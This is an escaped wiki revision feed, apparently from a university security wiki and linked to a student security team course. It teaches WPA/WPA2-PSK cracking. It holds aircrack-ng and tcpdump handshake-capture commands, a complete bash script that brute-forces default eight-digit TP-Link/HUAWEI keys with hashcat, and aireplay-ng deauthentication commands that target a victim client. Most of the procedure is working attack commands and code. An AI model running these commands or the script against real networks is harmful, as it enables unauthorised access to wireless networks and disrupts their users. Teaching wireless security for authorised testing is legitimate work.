&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -U -vvv -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed with Wireshark, filtering for &amp;lt;i&amp;gt;eapol&amp;lt;/i&amp;gt; messages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4995</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4995"/>
		<updated>2020-12-14T14:27:09Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minir change: modified tcpdump command to automatically stop, once acquired a 4-way handshake&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
